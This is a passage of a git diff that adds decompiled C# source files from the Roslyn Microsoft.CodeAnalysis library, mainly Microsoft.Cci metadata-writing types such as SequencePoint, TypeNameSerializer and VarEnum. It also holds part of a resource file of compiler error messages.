SpecializedCollections.EmptyEnumerable(); + } + + void IReference.Dispatch(MetadataVisitor visitor) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/PEWriter/RootModuleType.cs", 216); + } + + ITypeDefinition ITypeReference.GetResolvedType(EmitContext context) + { + return this; + } + + IUnitReference INamespaceTypeReference.GetUnit(EmitContext context) + { + return _unit; + } + + INamespaceTypeDefinition ITypeReference.AsNamespaceTypeDefinition(EmitContext context) + { + return this; + } + + INestedTypeDefinition? ITypeReference.AsNestedTypeDefinition(EmitContext context) + { + return null; + } + + ITypeDefinition ITypeReference.AsTypeDefinition(EmitContext context) + { + return this; + } + + IDefinition IReference.AsDefinition(EmitContext context) + { + return this; + } + + ISymbolInternal? IReference.GetInternalSymbol() + { + return null; + } + + public sealed override bool Equals(object? obj) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/PEWriter/RootModuleType.cs", 330); + } + + public sealed override int GetHashCode() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/PEWriter/RootModuleType.cs", 336); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/SecurityAttribute.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/SecurityAttribute.cs new file mode 100644 index 0000000..013d87c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/SecurityAttribute.cs @@ -0,0 +1,16 @@ +using System.Reflection; + +namespace Microsoft.Cci; + +internal readonly struct SecurityAttribute +{ + public DeclarativeSecurityAction Action { get; } + + public ICustomAttribute Attribute { get; } + + public SecurityAttribute(DeclarativeSecurityAction action, ICustomAttribute attribute) + { + Action = action; + Attribute = attribute; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/SequencePoint.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/SequencePoint.cs new file mode 100644 index 0000000..0045cee --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/SequencePoint.cs @@ -0,0 +1,43 @@ +using System.Diagnostics; +using Roslyn.Utilities; + +namespace Microsoft.Cci; + +[DebuggerDisplay("{GetDebuggerDisplay(),nq}")] +internal readonly struct SequencePoint(DebugSourceDocument document, int offset, int startLine, ushort startColumn, int endLine, ushort endColumn) +{ + public const int HiddenLine = 16707566; + + public readonly int Offset = offset; + + public readonly int StartLine = startLine; + + public readonly int EndLine = endLine; + + public readonly ushort StartColumn = startColumn; + + public readonly ushort EndColumn = endColumn; + + public readonly DebugSourceDocument Document = document; + + public bool IsHidden => StartLine == 16707566; + + public override int GetHashCode() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/PEWriter/SequencePoint.cs", 46); + } + + public override bool Equals(object? obj) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/PEWriter/SequencePoint.cs", 51); + } + + private string GetDebuggerDisplay() + { + if (!IsHidden) + { + return string.Format("{0}: ({1}, {2}) - ({3}, {4})", new object[5] { Offset, StartLine, StartColumn, EndLine, EndColumn }); + } + return ""; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/SymWriterMetadataProvider.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/SymWriterMetadataProvider.cs new file mode 100644 index 0000000..161b51d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/SymWriterMetadataProvider.cs @@ -0,0 +1,77 @@ +using System.Reflection; +using System.Reflection.Metadata.Ecma335; +using Microsoft.DiaSymReader; + +namespace Microsoft.Cci; + +internal sealed class SymWriterMetadataProvider : ISymWriterMetadataProvider +{ + private readonly MetadataWriter _writer; + + private int _lastTypeDef; + + private string _lastTypeDefName; + + private string _lastTypeDefNamespace; + + internal SymWriterMetadataProvider(MetadataWriter writer) + { + _writer = writer; + } + + public bool TryGetTypeDefinitionInfo(int typeDefinitionToken, out string namespaceName, out string typeName, out TypeAttributes attributes) + { + if (typeDefinitionToken == 0) + { + namespaceName = null; + typeName = null; + attributes = TypeAttributes.NotPublic; + return false; + } + ITypeDefinition typeDefinition = _writer.GetTypeDefinition(typeDefinitionToken); + if (_lastTypeDef == typeDefinitionToken) + { + typeName = _lastTypeDefName; + namespaceName = _lastTypeDefNamespace; + } + else + { + int generation = ((typeDefinition is INamedTypeDefinition typeDef) ? _writer.Module.GetTypeDefinitionGeneration(typeDef) : 0); + typeName = MetadataWriter.GetMetadataName((INamedTypeReference)typeDefinition, generation); + INamespaceTypeDefinition namespaceTypeDefinition; + if ((namespaceTypeDefinition = typeDefinition.AsNamespaceTypeDefinition(_writer.Context)) != null) + { + namespaceName = namespaceTypeDefinition.NamespaceName; + } + else + { + namespaceName = null; + } + _lastTypeDef = typeDefinitionToken; + _lastTypeDefName = typeName; + _lastTypeDefNamespace = namespaceName; + } + attributes = _writer.GetTypeAttributes(typeDefinition.GetResolvedType(_writer.Context)); + return true; + } + + public bool TryGetMethodInfo(int methodDefinitionToken, out string methodName, out int declaringTypeToken) + { + IMethodDefinition methodDefinition = _writer.GetMethodDefinition(methodDefinitionToken); + methodName = methodDefinition.Name; + declaringTypeToken = MetadataTokens.GetToken(_writer.GetTypeHandle(methodDefinition.GetContainingType(_writer.Context))); + return true; + } + + public bool TryGetEnclosingType(int nestedTypeToken, out int enclosingTypeToken) + { + INestedTypeReference nestedTypeReference = _writer.GetNestedTypeReference(nestedTypeToken); + if (nestedTypeReference == null) + { + enclosingTypeToken = 0; + return false; + } + enclosingTypeToken = MetadataTokens.GetToken(_writer.GetTypeHandle(nestedTypeReference.GetContainingType(_writer.Context))); + return true; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/SymbolEquivalentEqualityComparer.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/SymbolEquivalentEqualityComparer.cs new file mode 100644 index 0000000..e7ffc46 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/SymbolEquivalentEqualityComparer.cs @@ -0,0 +1,62 @@ +using System.Collections.Generic; +using System.Runtime.CompilerServices; +using Microsoft.CodeAnalysis.Symbols; + +namespace Microsoft.Cci; + +internal sealed class SymbolEquivalentEqualityComparer : IEqualityComparer, IEqualityComparer +{ + public static readonly SymbolEquivalentEqualityComparer Instance = new SymbolEquivalentEqualityComparer(); + + private SymbolEquivalentEqualityComparer() + { + } + + public bool Equals(IReference? x, IReference? y) + { + if (x == y) + { + return true; + } + if (x == null || y == null) + { + return false; + } + ISymbolInternal internalSymbol = x.GetInternalSymbol(); + ISymbolInternal internalSymbol2 = y.GetInternalSymbol(); + if (internalSymbol != null && internalSymbol2 != null) + { + return internalSymbol.Equals(internalSymbol2); + } + return false; + } + + public int GetHashCode(IReference? obj) + { + return (obj?.GetInternalSymbol())?.GetHashCode() ?? RuntimeHelpers.GetHashCode(obj); + } + + public bool Equals(INamespace? x, INamespace? y) + { + if (x == y) + { + return true; + } + if (x == null || y == null) + { + return false; + } + INamespaceSymbolInternal internalSymbol = x.GetInternalSymbol(); + INamespaceSymbolInternal internalSymbol2 = y.GetInternalSymbol(); + if (internalSymbol != null && internalSymbol2 != null) + { + return internalSymbol.Equals(internalSymbol2); + } + return false; + } + + public int GetHashCode(INamespace? obj) + { + return (obj?.GetInternalSymbol())?.GetHashCode() ?? RuntimeHelpers.GetHashCode(obj); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/TypeLibTypeFlags.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/TypeLibTypeFlags.cs new file mode 100644 index 0000000..28192da --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/TypeLibTypeFlags.cs @@ -0,0 +1,22 @@ +using System; + +namespace Microsoft.Cci; + +[Flags] +internal enum TypeLibTypeFlags +{ + FAppObject = 1, + FCanCreate = 2, + FLicensed = 4, + FPreDeclId = 8, + FHidden = 0x10, + FControl = 0x20, + FDual = 0x40, + FNonExtensible = 0x80, + FOleAutomation = 0x100, + FRestricted = 0x200, + FAggregatable = 0x400, + FReplaceable = 0x800, + FDispatchable = 0x1000, + FReverseBind = 0x2000 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/TypeMemberVisibility.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/TypeMemberVisibility.cs new file mode 100644 index 0000000..9df254e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/TypeMemberVisibility.cs @@ -0,0 +1,11 @@ +namespace Microsoft.Cci; + +internal enum TypeMemberVisibility +{ + Private = 1, + FamilyAndAssembly, + Assembly, + Family, + FamilyOrAssembly, + Public +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/TypeNameSerializer.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/TypeNameSerializer.cs new file mode 100644 index 0000000..d35af4d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/TypeNameSerializer.cs @@ -0,0 +1,244 @@ +using System.Text; +using Microsoft.CodeAnalysis; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.Cci; + +internal static class TypeNameSerializer +{ + internal static string GetSerializedTypeName(this ITypeReference typeReference, EmitContext context) + { + bool isAssemblyQualified = true; + return typeReference.GetSerializedTypeName(context, ref isAssemblyQualified); + } + + internal static string GetSerializedTypeName(this ITypeReference typeReference, EmitContext context, ref bool isAssemblyQualified) + { + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + StringBuilder builder = instance.Builder; + if (typeReference is IArrayTypeReference arrayTypeReference) + { + typeReference = arrayTypeReference.GetElementType(context); + bool isAssemQualified = false; + AppendSerializedTypeName(builder, typeReference, ref isAssemQualified, context); + if (arrayTypeReference.IsSZArray) + { + builder.Append("[]"); + } + else + { + builder.Append('['); + if (arrayTypeReference.Rank == 1) + { + builder.Append('*'); + } + builder.Append(',', arrayTypeReference.Rank - 1); + builder.Append(']'); + } + } + else if (typeReference is IPointerTypeReference pointerTypeReference) + { + typeReference = pointerTypeReference.GetTargetType(context); + bool isAssemQualified2 = false; + AppendSerializedTypeName(builder, typeReference, ref isAssemQualified2, context); + builder.Append('*'); + } + else + { + INamespaceTypeReference asNamespaceTypeReference = typeReference.AsNamespaceTypeReference; + if (asNamespaceTypeReference != null) + { + string namespaceName = asNamespaceTypeReference.NamespaceName; + if (namespaceName.Length != 0) + { + builder.Append(namespaceName); + builder.Append('.'); + } + builder.Append(GetEscapedMetadataName(asNamespaceTypeReference)); + } + else if (typeReference.IsTypeSpecification()) + { + if (typeReference is IFunctionPointerTypeReference) + { + CommonMessageProvider messageProvider = context.Module.CommonCompilation.MessageProvider; + context.Diagnostics.Add(messageProvider.CreateDiagnostic(messageProvider.ERR_FunctionPointerTypesInAttributeNotSupported, context.Location ?? Location.None)); + builder.Append("(fnptr)"); + } + else + { + ITypeReference uninstantiatedGenericType = typeReference.GetUninstantiatedGenericType(context); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + typeReference.GetConsolidatedTypeArguments(instance2, context); + bool isAssemblyQualified2 = false; + builder.Append(uninstantiatedGenericType.GetSerializedTypeName(context, ref isAssemblyQualified2)); + builder.Append('['); + bool flag = true; + ArrayBuilder.Enumerator enumerator = instance2.GetEnumerator(); + while (enumerator.MoveNext()) + { + ITypeReference current = enumerator.Current; + if (flag) + { + flag = false; + } + else + { + builder.Append(','); + } + bool isAssemQualified3 = true; + AppendSerializedTypeName(builder, current, ref isAssemQualified3, context); + } + instance2.Free(); + builder.Append(']'); + } + } + else + { + INestedTypeReference asNestedTypeReference = typeReference.AsNestedTypeReference; + if (asNestedTypeReference != null) + { + bool isAssemblyQualified3 = false; + builder.Append(asNestedTypeReference.GetContainingType(context).GetSerializedTypeName(context, ref isAssemblyQualified3)); + builder.Append('+'); + builder.Append(GetEscapedMetadataName(asNestedTypeReference)); + } + } + } + if (isAssemblyQualified) + { + AppendAssemblyQualifierIfNecessary(builder, UnwrapTypeReference(typeReference, context), out isAssemblyQualified, context); + } + return instance.ToStringAndFree(); + } + + private static void AppendSerializedTypeName(StringBuilder sb, ITypeReference type, ref bool isAssemQualified, EmitContext context) + { + string serializedTypeName = type.GetSerializedTypeName(context, ref isAssemQualified); + if (isAssemQualified) + { + sb.Append('['); + } + sb.Append(serializedTypeName); + if (isAssemQualified) + { + sb.Append(']'); + } + } + + private static void AppendAssemblyQualifierIfNecessary(StringBuilder sb, ITypeReference typeReference, out bool isAssemQualified, EmitContext context) + { + INestedTypeReference asNestedTypeReference = typeReference.AsNestedTypeReference; + if (asNestedTypeReference != null) + { + AppendAssemblyQualifierIfNecessary(sb, asNestedTypeReference.GetContainingType(context), out isAssemQualified, context); + return; + } + IGenericTypeInstanceReference asGenericTypeInstanceReference = typeReference.AsGenericTypeInstanceReference; + if (asGenericTypeInstanceReference != null) + { + AppendAssemblyQualifierIfNecessary(sb, asGenericTypeInstanceReference.GetGenericType(context), out isAssemQualified, context); + return; + } + if (typeReference is IArrayTypeReference arrayTypeReference) + { + AppendAssemblyQualifierIfNecessary(sb, arrayTypeReference.GetElementType(context), out isAssemQualified, context); + return; + } + if (typeReference is IPointerTypeReference pointerTypeReference) + { + AppendAssemblyQualifierIfNecessary(sb, pointerTypeReference.GetTargetType(context), out isAssemQualified, context); + return; + } + isAssemQualified = false; + IAssemblyReference assemblyReference = null; + INamespaceTypeReference asNamespaceTypeReference = typeReference.AsNamespaceTypeReference; + if (asNamespaceTypeReference != null) + { + assemblyReference = asNamespaceTypeReference.GetUnit(context) as IAssemblyReference; + } + if (assemblyReference != null) + { + IAssemblyReference containingAssembly = context.Module.GetContainingAssembly(context); + if (containingAssembly == null || assemblyReference != containingAssembly) + { + sb.Append(", "); + sb.Append(MetadataWriter.StrongName(assemblyReference)); + isAssemQualified = true; + } + } + } + + private static string GetEscapedMetadataName(INamedTypeReference namedType) + { + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + StringBuilder builder = instance.Builder; + string associatedFileIdentifier = namedType.AssociatedFileIdentifier; + if (associatedFileIdentifier != null) + { + builder.Append(associatedFileIdentifier); + } + string name = namedType.Name; + foreach (char value in name) + { + if ("\\[]*.+,& ".IndexOf(value) >= 0) + { + builder.Append('\\'); + } + builder.Append(value); + } + if (namedType.MangleName && namedType.GenericParameterCount > 0) + { + builder.Append(MetadataHelpers.GetAritySuffix(namedType.GenericParameterCount)); + } + return instance.ToStringAndFree(); + } + + private static ITypeReference UnwrapTypeReference(ITypeReference typeReference, EmitContext context) + { + while (true) + { + if (typeReference is IArrayTypeReference arrayTypeReference) + { + typeReference = arrayTypeReference.GetElementType(context); + continue; + } + if (!(typeReference is IPointerTypeReference pointerTypeReference)) + { + break; + } + typeReference = pointerTypeReference.GetTargetType(context); + } + return typeReference; + } + + internal static string BuildQualifiedNamespaceName(INamespace @namespace) + { + if (@namespace.ContainingNamespace == null) + { + return @namespace.Name; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + do + { + string name = @namespace.Name; + if (name.Length != 0) + { + instance.Add(name); + } + @namespace = @namespace.ContainingNamespace; + } + while (@namespace != null); + PooledStringBuilder instance2 = PooledStringBuilder.GetInstance(); + for (int num = instance.Count - 1; num >= 0; num--) + { + instance2.Builder.Append(instance[num]); + if (num > 0) + { + instance2.Builder.Append('.'); + } + } + instance.Free(); + return instance2.ToStringAndFree(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/TypeParameterVariance.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/TypeParameterVariance.cs new file mode 100644 index 0000000..1ca55a5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/TypeParameterVariance.cs @@ -0,0 +1,8 @@ +namespace Microsoft.Cci; + +internal enum TypeParameterVariance +{ + NonVariant, + Covariant, + Contravariant +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/TypeReferenceIndexer.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/TypeReferenceIndexer.cs new file mode 100644 index 0000000..729b5d4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/TypeReferenceIndexer.cs @@ -0,0 +1,54 @@ +using Microsoft.CodeAnalysis.Emit; + +namespace Microsoft.Cci; + +internal sealed class TypeReferenceIndexer : ReferenceIndexerBase +{ + internal TypeReferenceIndexer(EmitContext context) + : base(context) + { + } + + public override void Visit(CommonPEModuleBuilder module) + { + Visit(module.GetSourceAssemblyAttributes(Context.IsRefAssembly)); + Visit(module.GetSourceAssemblySecurityAttributes()); + Visit(module.GetSourceModuleAttributes()); + } + + protected override void RecordAssemblyReference(IAssemblyReference assemblyReference) + { + } + + protected override void RecordFileReference(IFileReference fileReference) + { + } + + protected override void RecordModuleReference(IModuleReference moduleReference) + { + } + + public override void Visit(IPlatformInvokeInformation platformInvokeInformation) + { + } + + protected override void ProcessMethodBody(IMethodDefinition method) + { + } + + protected override void RecordTypeReference(ITypeReference typeReference) + { + } + + protected override void ReserveFieldToken(IFieldReference fieldReference) + { + } + + protected override void ReserveMethodToken(IMethodReference methodReference) + { + } + + protected override void RecordTypeMemberReference(ITypeMemberReference typeMemberReference) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/TypeReferenceWithAttributes.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/TypeReferenceWithAttributes.cs new file mode 100644 index 0000000..cbbec60 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/TypeReferenceWithAttributes.cs @@ -0,0 +1,17 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis; + +namespace Microsoft.Cci; + +internal readonly struct TypeReferenceWithAttributes +{ + public ITypeReference TypeRef { get; } + + public ImmutableArray Attributes { get; } + + public TypeReferenceWithAttributes(ITypeReference typeRef, ImmutableArray attributes = default(ImmutableArray)) + { + TypeRef = typeRef; + Attributes = attributes.NullToEmpty(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/TypeSpecComparer.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/TypeSpecComparer.cs new file mode 100644 index 0000000..ef10df4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/TypeSpecComparer.cs @@ -0,0 +1,27 @@ +using System.Collections.Generic; + +namespace Microsoft.Cci; + +internal sealed class TypeSpecComparer : IEqualityComparer +{ + private readonly MetadataWriter _metadataWriter; + + internal TypeSpecComparer(MetadataWriter metadataWriter) + { + _metadataWriter = metadataWriter; + } + + public bool Equals(ITypeReference? x, ITypeReference? y) + { + if (x != y) + { + return _metadataWriter.GetTypeSpecSignatureIndex(x).Equals(_metadataWriter.GetTypeSpecSignatureIndex(y)); + } + return true; + } + + public int GetHashCode(ITypeReference typeReference) + { + return _metadataWriter.GetTypeSpecSignatureIndex(typeReference).GetHashCode(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/UsedNamespaceOrType.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/UsedNamespaceOrType.cs new file mode 100644 index 0000000..5778ff8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/UsedNamespaceOrType.cs @@ -0,0 +1,126 @@ +using System; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.Cci; + +internal readonly struct UsedNamespaceOrType : IEquatable +{ + public readonly string? AliasOpt; + + public readonly IAssemblyReference? TargetAssemblyOpt; + + public readonly INamespace? TargetNamespaceOpt; + + public readonly ITypeReference? TargetTypeOpt; + + public readonly string? TargetXmlNamespaceOpt; + + private UsedNamespaceOrType(string? alias = null, IAssemblyReference? targetAssembly = null, INamespace? targetNamespace = null, ITypeReference? targetType = null, string? targetXmlNamespace = null) + { + AliasOpt = alias; + TargetAssemblyOpt = targetAssembly; + TargetNamespaceOpt = targetNamespace; + TargetTypeOpt = targetType; + TargetXmlNamespaceOpt = targetXmlNamespace; + } + + internal static UsedNamespaceOrType CreateType(ITypeReference type, string? aliasOpt = null) + { + return new UsedNamespaceOrType(aliasOpt, null, null, type); + } + + internal static UsedNamespaceOrType CreateNamespace(INamespace @namespace, IAssemblyReference? assemblyOpt = null, string? aliasOpt = null) + { + return new UsedNamespaceOrType(aliasOpt, assemblyOpt, @namespace); + } + + internal static UsedNamespaceOrType CreateExternAlias(string alias) + { + return new UsedNamespaceOrType(alias); + } + + internal static UsedNamespaceOrType CreateXmlNamespace(string prefix, string xmlNamespace) + { + return new UsedNamespaceOrType(prefix, null, null, null, xmlNamespace); + } + + public override bool Equals(object? obj) + { + if (obj is UsedNamespaceOrType other) + { + return Equals(other); + } + return false; + } + + public bool Equals(UsedNamespaceOrType other) + { + if (AliasOpt == other.AliasOpt && object.Equals(TargetAssemblyOpt, other.TargetAssemblyOpt) && Equals(TargetNamespaceOpt, other.TargetNamespaceOpt) && Equals(TargetTypeOpt, other.TargetTypeOpt)) + { + return TargetXmlNamespaceOpt == other.TargetXmlNamespaceOpt; + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(AliasOpt, Hash.Combine((object)TargetAssemblyOpt, Hash.Combine(GetHashCode(TargetNamespaceOpt), Hash.Combine(GetHashCode(TargetTypeOpt), Hash.Combine(TargetXmlNamespaceOpt, 0))))); + } + + private static bool Equals(ITypeReference? x, ITypeReference? y) + { + if (x == y) + { + return true; + } + if (x == null || y == null) + { + return false; + } + ISymbolInternal internalSymbol = x.GetInternalSymbol(); + ISymbolInternal internalSymbol2 = y.GetInternalSymbol(); + if (internalSymbol != null && internalSymbol2 != null) + { + return internalSymbol.Equals(internalSymbol2); + } + if (internalSymbol != null || internalSymbol2 != null) + { + return false; + } + return x.Equals(y); + } + + private static int GetHashCode(ITypeReference? obj) + { + return (obj?.GetInternalSymbol())?.GetHashCode() ?? obj?.GetHashCode() ?? 0; + } + + private static bool Equals(INamespace? x, INamespace? y) + { + if (x == y) + { + return true; + } + if (x == null || y == null) + { + return false; + } + INamespaceSymbolInternal internalSymbol = x.GetInternalSymbol(); + INamespaceSymbolInternal internalSymbol2 = y.GetInternalSymbol(); + if (internalSymbol != null && internalSymbol2 != null) + { + return internalSymbol.Equals(internalSymbol2); + } + if (internalSymbol != null || internalSymbol2 != null) + { + return false; + } + return x.Equals(y); + } + + private static int GetHashCode(INamespace? obj) + { + return (obj?.GetInternalSymbol())?.GetHashCode() ?? obj?.GetHashCode() ?? 0; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/VarEnum.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/VarEnum.cs new file mode 100644 index 0000000..4ca7836 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/VarEnum.cs @@ -0,0 +1,49 @@ +namespace Microsoft.Cci; + +internal enum VarEnum +{ + VT_EMPTY = 0, + VT_NULL = 1, + VT_I2 = 2, + VT_I4 = 3, + VT_R4 = 4, + VT_R8 = 5, + VT_CY = 6, + VT_DATE = 7, + VT_BSTR = 8, + VT_DISPATCH = 9, + VT_ERROR = 10, + VT_BOOL = 11, + VT_VARIANT = 12, + VT_UNKNOWN = 13, + VT_DECIMAL = 14, + VT_I1 = 16, + VT_UI1 = 17, + VT_UI2 = 18, + VT_UI4 = 19, + VT_I8 = 20, + VT_UI8 = 21, + VT_INT = 22, + VT_UINT = 23, + VT_VOID = 24, + VT_HRESULT = 25, + VT_PTR = 26, + VT_SAFEARRAY = 27, + VT_CARRAY = 28, + VT_USERDEFINED = 29, + VT_LPSTR = 30, + VT_LPWSTR = 31, + VT_RECORD = 36, + VT_FILETIME = 64, + VT_BLOB = 65, + VT_STREAM = 66, + VT_STORAGE = 67, + VT_STREAMED_OBJECT = 68, + VT_STORED_OBJECT = 69, + VT_BLOB_OBJECT = 70, + VT_CF = 71, + VT_CLSID = 72, + VT_VECTOR = 4096, + VT_ARRAY = 8192, + VT_BYREF = 16384 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeAnalysisResources.resx b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeAnalysisResources.resx new file mode 100644 index 0000000..af1e11f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeAnalysisResources.resx @@ -0,0 +1,248 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +text/microsoft-resx1.3System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089struct + element is expected + PE image not available. + Invalid size of public key token. + Additional file doesn't belong to the underlying 'CompilationWithAnalyzers'. + Multiple global analyzer config files set the same key '{0}' in section '{1}'. It has been unset. Key was set by the following files: '{2}' + The temporary path for legacy file signing is unavailable. + event + The assembly containing type '{0}' references .NET Framework, which is not supported. + Assembly reference: '{0}' + Grants IVT to current assembly: {1} + Grants IVTs to: + Analyzer '{0}' contains a null descriptor in its 'SupportedDiagnostics'. + Parameter '{0}' must be a symbol from this compilation or some referenced assembly. + Inconsistent language versions + Reference resolver should return readable non-null stream. + Invalid compilation options -- submission can't be signed. + A key in the pathMap is empty. + Invalid severity in analyzer config file. + The rule set file has duplicate rules for '{0}' with differing actions '{1}' and '{2}'. + type must be a subclass of SyntaxAnnotation. + Value too large to be represented as a 30 bit unsigned integer. + Can't alias a module. + Invalid characters in assembly culture name + module + method + Windows PDB writer doesn't support deterministic compilation: '{0}' + Analyzer + Parameter '{0}' must be an 'INamedTypeSymbol' or an 'IAssemblySymbol'. + Suppress the following diagnostics to disable this analyzer: {0} + class + Warning: Could not enable multicore JIT due to exception: {0}. + Embedded texts are only supported when emitting a PDB. + Module copy can't be used to create an assembly metadata. + Global analyzer config section name '{0}' is invalid as it is not an absolute path. Section will be ignored. Section was declared in file: '{1}' + Icon stream is not in the expected format. + The diagnostic '{0}' was given an invalid severity '{1}' in the analyzer config file at '{2}'. + Assembly name: '{0}' + Public Keys: + File not found. + The attribute {0} has an invalid value of {1}. + Win32 resources, assumed to be in COFF object format, have an invalid section size. + The SourceText with hintName '{0}' must have an explicit encoding set. + Unrecognized resource file format. + parameter + property, indexer + The element {0} is missing an attribute named {1}. + MetadataReference '{0}' not found to remove. + Invalid module name specified in metadata module '{0}': '{1}' + Name contains invalid characters. + A language name cannot be specified for this option. + PDB stream should not be given when embedding PDB into the PE stream. + Nothing + PDB stream should not be given when emitting metadata only. + The hintName '{0}' contains an invalid character '{1}' at position {2}. + Analyzer Driver Failure + Multiple global analyzer config files set the same key. It has been unset. + Must include private members unless emitting a ref assembly. + Arguments to '/keepalive' option below -1 are invalid. + Given operation has a non-null parent. + Global analyzer config section name is invalid as it is not an absolute path. Section will be ignored. + Absolute path expected. + Invalid data at offset {0}: {1}{2}*{3}{4} + Unable to determine specific cause of the failure. + References to XML documents are not supported. + Stream is too long. + Return type can't be a value type, pointer, by-ref or open generic type + The underlying type for a tuple must be tuple-compatible. + Exception occurred with following context: +{0} + The type '{0}' is not understood by the serialization binder. + Inconsistent syntax tree features + Can't embed interop types from module. + SourceText cannot be embedded. Provide encoding or canBeEmbedded=true at construction. + Stream contains invalid data + Time (s) + Module has invalid attributes. + Syntax tree doesn't belong to the underlying 'Compilation'. + Invalid hash. + '/keepalive' option is only valid with '/shared' option. + Including private members should not be used when emitting to the secondary assembly output. + Printing 'InternalsVisibleToAttribute' information for the current compilation and all referenced assemblies. + Path returned by {0}.ResolveStrongNameKeyFile must be absolute: '{1}' + Could not locate the rule set file '{0}'. + Assembly signing not supported. + Reported diagnostic '{0}' has a source location '{1}' in file '{2}', which is outside of the given file. + Node to track is not a descendant of the root. + Given operation block does not belong to the current analysis context. + The item specified is not the element of a list. + delegate + The stream cannot be written to. + Value for argument '/shared:' must not be empty + Deserialization reader for '{0}' read incorrect number of values. + Analyzer '{0}' contains a null descriptor in its 'SupportedSuppressions'. + Can't create a reference to a submission. + Path returned by {0}.ResolveMetadataFile must be absolute: '{1}' + Unresolved: + Argument to '/keepalive' option is not a 32-bit integer. + The span does not include the start of a line. + Can't create a metadata reference to an assembly without location. + Invalid culture name: '{0}' + Invalid instrumentation kind: {0} + Tuples must have at least two elements. + The changes must not overlap. + Roslyn compiler server reports different protocol version than build task. + Total analyzer execution time: {0} seconds. + Compilation options must not have errors. + Cannot serialize type '{0}'. + Metadata PE stream should not be given when emitting metadata only. + Empty or invalid resource name + Return type can't be void, by-ref or open generic type + Windows PDB writer doesn't support SourceLink feature: '{0}' + Invalid public key token. + Diagnostic '{0}: {1}' was programmatically suppressed by a DiagnosticSuppressor with suppression ID '{2}' and justification '{3}' + Missing argument for '/keepalive' option. + <in-memory module> + Generator + Given operation has a null semantic model. + The version of Windows PDB writer is older than required: '{0}' + A node or token is out of sequence. + Embedding PDB is not allowed when emitting metadata. + Can't create a metadata reference to a dynamic assembly. + Suppressed diagnostic ID '{0}' does not match suppressable ID '{1}' for the given suppression descriptor. + Win32 resources, assumed to be in COFF object format, have one or more invalid symbol values. + Stream must support read and seek operations. + enum + Reported diagnostic '{0}' has a source location in file '{1}', which is not part of the compilation being analyzed. + field + Name cannot be empty. + Total generator execution time: {0} seconds. + Win32 resources, assumed to be in COFF object format, are missing one or both of sections '.rsrc$01' and 